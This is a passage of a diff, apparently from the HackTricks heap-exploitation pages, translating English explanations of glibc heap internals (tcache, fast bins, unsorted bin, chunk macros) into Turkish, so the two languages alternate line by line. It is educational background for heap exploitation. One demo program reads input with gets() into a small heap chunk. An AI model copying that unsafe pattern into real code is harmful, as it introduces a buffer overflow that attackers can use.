(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
- Set head and footer (when chunk nos in use
- Başlık ve altbilgi ayarlayın (parça numaraları kullanıldığında)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
- Get the size of the real usable data inside the chunk
- Parçanın içindeki gerçek kullanılabilir verinin boyutunu alın
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for
dumped heap chunks. */
dumped heap chunks. */
#define memsize(p) \
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
"memory tagging is not supported with large granule.");
"memory tagging is not supported with large granule.");
static __always_inline void *
tag_new_usable (void *ptr)
{
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
}
```
## Örnekler
## Examples
### Quick Heap Example
Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
### Hızlı Yığın Örneği
Hızlı yığın örneği [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) ancak arm64'te:
```c
#include <stdio.h>
#include <stdlib.h>
@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
void main(void)
{
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Set a breakpoint at the end of the main function and lets find out where the information was stored:
Ana fonksiyonun sonunda bir kesme noktası ayarlayın ve bilgilerin nerede saklandığını bulalım:
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`.
The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
Panda dizesinin `0xaaaaaaac12a0` adresinde saklandığını görebiliyoruz (bu, `x0` içindeki malloc tarafından verilen yanıttı). 0x10 byte öncesini kontrol ettiğimizde, `0x0` değerinin **önceki parçanın kullanılmadığını** (uzunluk 0) temsil ettiğini ve bu parçanın uzunluğunun `0x21` olduğunu görebiliyoruz.
Rezerve edilen ekstra alan (0x21-0x10=0x11) **eklenmiş başlıklardan** (0x10) gelmektedir ve 0x1, 0x21B olarak rezerve edildiği anlamına gelmez, ancak mevcut başlığın uzunluğunun son 3 biti bazı özel anlamlara sahiptir. Uzunluk her zaman 16-byte hizalı olduğundan (64 bit makinelerde), bu bitler aslında uzunluk numarası tarafından asla kullanılmayacaktır.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Multithreading Example
### Çoklu İş Parçacığı Örneği
<details>
<summary>Multithread</summary>
<summary>Çoklu İş Parçacığı</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -460,70 +435,69 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
void* threadFuncMalloc(void* arg) {
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
}
void* threadFuncNoMalloc(void* arg) {
printf("Hello from thread 2\n");
printf("Hello from thread 2\n");
}
int main() {
pthread_t t1;
void* s;
int ret;
char* addr;
pthread_t t1;
void* s;
int ret;
char* addr;
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 1\n");
getchar();
ret = pthread_create(&t1, NULL, threadFuncMalloc, NULL);
getchar();
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before creating thread 2\n");
ret = pthread_create(&t1, NULL, threadFuncNoMalloc, NULL);
printf("Before exit\n");
getchar();
printf("Before exit\n");
getchar();
return 0;
return 0;
}
```
</details>
Debugging the previous example it's possible to see how at the beginning there is only 1 arena:
Önceki örneği hata ayıklarken, başlangıçta yalnızca 1 arena olduğunu görebiliriz:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Then, after calling the first thread, the one that calls malloc, a new arena is created:
Daha sonra, malloc'u çağıran ilk iş parçacığı çağrıldığında, yeni bir arena oluşturulur:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
and inside of it some chunks can be found:
Ve içinde bazı parçalar bulunabilir:
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Bins & Memory Allocations/Frees
## Bins & Bellek Tahsisleri/Serbest Bırakmaları
Check what are the bins and how are they organized and how memory is allocated and freed in:
Bins'lerin ne olduğunu ve nasıl organize olduklarını ve belleğin nasıl tahsis edildiğini ve serbest bırakıldığını kontrol edin:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
## Heap Functions Security Checks
## Heap Fonksiyonları Güvenlik Kontrolleri
Functions involved in heap will perform certain check before performing its actions to try to make sure the heap wasn't corrupted:
Heap ile ilgili fonksiyonlar, eylemlerini gerçekleştirmeden önce heap'in bozulmadığından emin olmak için belirli kontroller yapacaktır:
{{#ref}}
heap-memory-functions/heap-functions-security-checks.md
{{#endref}}
## References
## Referanslar
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)

534
src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
View File

@ -2,60 +2,55 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Temel Bilgiler
In order to improve the efficiency on how chunks are stored every chunk is not just in one linked list, but there are several types. These are the bins and there are 5 type of bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread.
Chunk'ların nasıl depolandığını daha verimli hale getirmek için her chunk sadece bir bağlı liste içinde değil, birkaç türde bulunmaktadır. Bunlar binlerdir ve 5 tür bin vardır: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) küçük binler, 63 büyük binler, 1 sıralanmamış bin, 10 hızlı bin ve her iş parçacığı için 64 tcache bin.
The initial address to each unsorted, small and large bins is inside the same array. The index 0 is unused, 1 is the unsorted bin, bins 2-64 are small bins and bins 65-127 are large bins.
Her sıralanmamış, küçük ve büyük bin için başlangıç adresi aynı dizinin içindedir. 0. indeks kullanılmaz, 1 sıralanmamış bin, 2-64 binler küçük binler ve 65-127 binler büyük binlerdir.
### Tcache (Per-Thread Cache) Bins
### Tcache (İş Parçacığı Başına Önbellek) Binleri
Even though threads try to have their own heap (see [Arenas](bins-and-memory-allocations.md#arenas) and [Subheaps](bins-and-memory-allocations.md#subheaps)), there is the possibility that a process with a lot of threads (like a web server) **will end sharing the heap with another threads**. In this case, the main solution is the use of **lockers**, which might **slow down significantly the threads**.
İş parçacıkları kendi heap'lerine sahip olmaya çalışsalar da (bkz. [Arenas](bins-and-memory-allocations.md#arenas) ve [Subheaps](bins-and-memory-allocations.md#subheaps)), çok sayıda iş parçacığına sahip bir sürecin (örneğin bir web sunucusu) **başka iş parçacıklarıyla heap'i paylaşma olasılığı vardır**. Bu durumda, ana çözüm **kilitlerin** kullanılmasıdır, bu da **iş parçacıklarını önemli ölçüde yavaşlatabilir**.
Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
Bu nedenle, bir tcache, **chunk'ları birleştirmeyen** tek bir bağlı liste şeklinde iş parçacığı başına bir hızlı bin gibidir. Her iş parçacığının **64 tek bağlı tcache bin'i** vardır. Her bin, [64-bit sistemlerde 24 ile 1032B ve 32-bit sistemlerde 12 ile 516B arasında](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315) [7 aynı boyutta chunk](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) alabilir.
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
**Bir iş parçacığı bir chunk'ı serbest bıraktığında**, **eğer tcache'de tahsis edilemeyecek kadar büyük değilse** ve ilgili tcache bin **dolu değilse** (zaten 7 chunk), **orada tahsis edilecektir**. Eğer tcache'ye giremiyorsa, serbest bırakma işlemini küresel olarak gerçekleştirebilmek için heap kilidini beklemesi gerekecektir.
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
**Bir chunk tahsis edildiğinde**, eğer **Tcache'de gerekli boyutta serbest bir chunk** varsa **onu kullanacaktır**, yoksa küresel binlerde bir tane bulabilmek veya yenisini oluşturabilmek için heap kilidini beklemesi gerekecektir.\
Ayrıca bir optimizasyon vardır, bu durumda, heap kilidi varken, iş parçacığı **istenen boyuttaki heap chunk'ları (7) ile Tcache'ini dolduracaktır**, böylece daha fazlasına ihtiyaç duyarsa, Tcache'de bulacaktır.
<details>
<summary>Add a tcache chunk example</summary>
<summary>Bir tcache chunk örneği ekle</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
}
```
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
Bunu derleyin ve ana fonksiyondaki ret opcode'unda bir kesme noktası ile hata ayıklayın. Ardından gef ile kullanılan tcache bin'ini görebilirsiniz:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
</details>
#### Tcache Structs & Functions
#### Tcache Yapıları ve Fonksiyonları
In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin.
Aşağıdaki kodda **max bins** ve **chunks per index**'in yanı sıra, çift serbest bırakmaları önlemek için oluşturulan **`tcache_entry`** yapısı ve her bir thread'in binin her indeksine ait adresleri saklamak için kullandığı **`tcache_perthread_struct`** yapısını görebilirsiniz.
<details>
<summary><code>tcache_entry</code> and <code>tcache_perthread_struct</code></summary>
<summary><code>tcache_entry</code> ve <code>tcache_perthread_struct</code></summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range
of tcache->counts[] entries, else they may overflow. */
of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX
[...]
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```
</details>
The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj
`__tcache_init` fonksiyonu, `tcache_perthread_struct` objesi için alan oluşturan ve tahsis eden fonksiyondur.
<details>
<summary>tcache_init code</summary>
<summary>tcache_init kodu</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
```
</details>
#### Tcache Indexes
#### Tcache İndeksleri
The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks.
Tcache, boyuta bağlı olarak birkaç bin içerir ve **her indeksin ilk parçasına ve indeks başına parça sayısına işaret eden başlangıç işaretçileri bir parça içinde bulunur**. Bu, bu bilgiyi (genellikle ilk olan) içeren parçayı bulmanın, tüm tcache başlangıç noktalarını ve Tcache parçalarının sayısını bulmayı mümkün kıldığı anlamına gelir.
### Fast bins
### Hızlı Bins
Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
Hızlı bins, **küçük parçalar için bellek tahsisini hızlandırmak** amacıyla, yakın zamanda serbest bırakılan parçaları hızlı erişim yapısında tutmak için tasarlanmıştır. Bu binler, Son-Giren İlk Çıkar (LIFO) yaklaşımını kullanır, bu da **en son serbest bırakılan parçanın** yeni bir tahsis talebi olduğunda yeniden kullanılacak ilk parça olduğu anlamına gelir. Bu davranış hız açısından avantajlıdır, çünkü bir yığının (LIFO) üstünden eklemek ve çıkarmak, bir kuyruğa (FIFO) göre daha hızlıdır.
Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
Ayrıca, **hızlı bins tek bağlı listeler** kullanır, çift bağlı değil, bu da hızı daha da artırır. Hızlı bins'teki parçalar komşularıyla birleştirilmediğinden, ortadan çıkarılmasına izin veren karmaşık bir yapıya ihtiyaç yoktur. Tek bağlı liste, bu işlemler için daha basit ve hızlıdır.
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
Temelde burada olan, başlığın (kontrol edilecek ilk parçaya işaretçi) her zaman o boyuttaki en son serbest bırakılan parçaya işaret etmesidir. Yani:
- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
- O boyutta yeni bir parça tahsis edildiğinde, başlık kullanılacak bir serbest parçaya işaret eder. Bu serbest parça, kullanılacak bir sonraki parçaya işaret ettiğinden, bu adres başlıkta saklanır, böylece bir sonraki tahsis mevcut bir parçayı nereden alacağını bilir.
- Bir parça serbest bırakıldığında, serbest parça mevcut serbest parçanın adresini saklayacak ve bu yeni serbest bırakılan parçanın adresi başlığa konulacaktır.
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
> [!CAUTION]
> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
Bağlı listenin maksimum boyutu `0x80`'dir ve `0x20` boyutundaki bir parça `0` indeksinde, `0x30` boyutundaki bir parça `1` indeksinde olacak şekilde düzenlenmiştir...
> [!DİKKAT]
> Hızlı bins'teki parçalar mevcut olarak ayarlanmamıştır, bu nedenle çevresindeki diğer serbest parçalarla birleştirilmek yerine bir süre hızlı bin parçaları olarak tutulurlar.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Fastbins
Fastbins
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */
@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
```
<details>
<summary>Add a fastbin chunk example</summary>
<summary>Hızlı bir parça örneği ekle</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[8];
int i;
char *chunks[8];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
8 aynı boyutta parça tahsis ettiğimizi ve serbest bıraktığımızı not edin, böylece tcache'i doldururlar ve sekizinci parça hızlı parçaya kaydedilir.
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklayın. Ardından `gef` ile tcache kutusunun dolu olduğunu ve bir parçanın hızlı kutuda olduğunu görebilirsiniz:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Unsorted bin
### Sıralanmamış kutu
The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin."
Sıralanmamış kutu, bellek tahsisini daha hızlı hale getirmek için yığın yöneticisi tarafından kullanılan bir **önbellek**'tir. İşte nasıl çalıştığı: Bir program bir parça serbest bıraktığında ve bu parça bir tcache veya hızlı kutuda tahsis edilemiyorsa ve üst parçayla çakışmıyorsa, yığın yöneticisi hemen onu belirli bir küçük veya büyük kutuya koymaz. Bunun yerine, önce **komşu serbest parçalarla birleştirmeyi dener** ve daha büyük bir serbest bellek bloğu oluşturur. Ardından, bu yeni parçayı "sıralanmamış kutu" olarak adlandırılan genel bir kutuya yerleştirir.
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
Bir program **bellek istediğinde**, yığın yöneticisi **sıralanmamış kutuyu kontrol eder** ve yeterli boyutta bir parça olup olmadığını görür. Eğer bulursa, hemen kullanır. Eğer sıralanmamış kutuda uygun bir parça bulamazsa, bu listedeki tüm parçaları boyutlarına göre küçük veya büyük olan karşılık gelen kutularına taşır.
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
Daha büyük bir parça iki yarıya bölünürse ve geri kalan MINSIZE'den büyükse, sıralanmamış kutuya geri yerleştirileceğini unutmayın.
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
Yani, sıralanmamış kutu, yakın zamanda serbest bırakılan belleği hızlı bir şekilde yeniden kullanarak bellek tahsisini hızlandırmanın ve zaman alıcı arama ve birleştirme ihtiyaçlarını azaltmanın bir yoludur.
> [!CAUTION]
> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
> Farklı kategorilerdeki parçalar olsa bile, eğer mevcut bir parça başka bir mevcut parça ile çakışıyorsa (başlangıçta farklı kutulara ait olsalar bile), birleştirileceklerdir.
<details>
<summary>Add a unsorted chunk example</summary>
<summary>Sıralanmamış bir parça örneği ekle</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[9];
int i;
char *chunks[9];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
Not edin ki aynı boyutta 9 parça ayırıp serbest bırakıyoruz, böylece **tcache'i dolduruyoruz** ve sekizincisi **fastbin için çok büyük olduğu** için sıralanmamış kutuda saklanıyor ve dokuzuncusu serbest bırakılmadığı için dokuzuncu ve sekizinci **üst parçayla birleştirilmiyor**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
Bunu derleyin ve `main` fonksiyonundaki `ret` opcode'unda bir kesme noktası ile hata ayıklayın. Ardından `gef` ile tcache kutusunun dolu olduğunu ve bir parçanın sıralanmamış kutuda olduğunu görebilirsiniz:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
```
</details>
### Small Bins
### Küçük Bins
Small bins are faster than large bins but slower than fast bins.
Küçük bins, büyük bins'lerden daha hızlıdır ancak hızlı bins'lerden daha yavaştır.
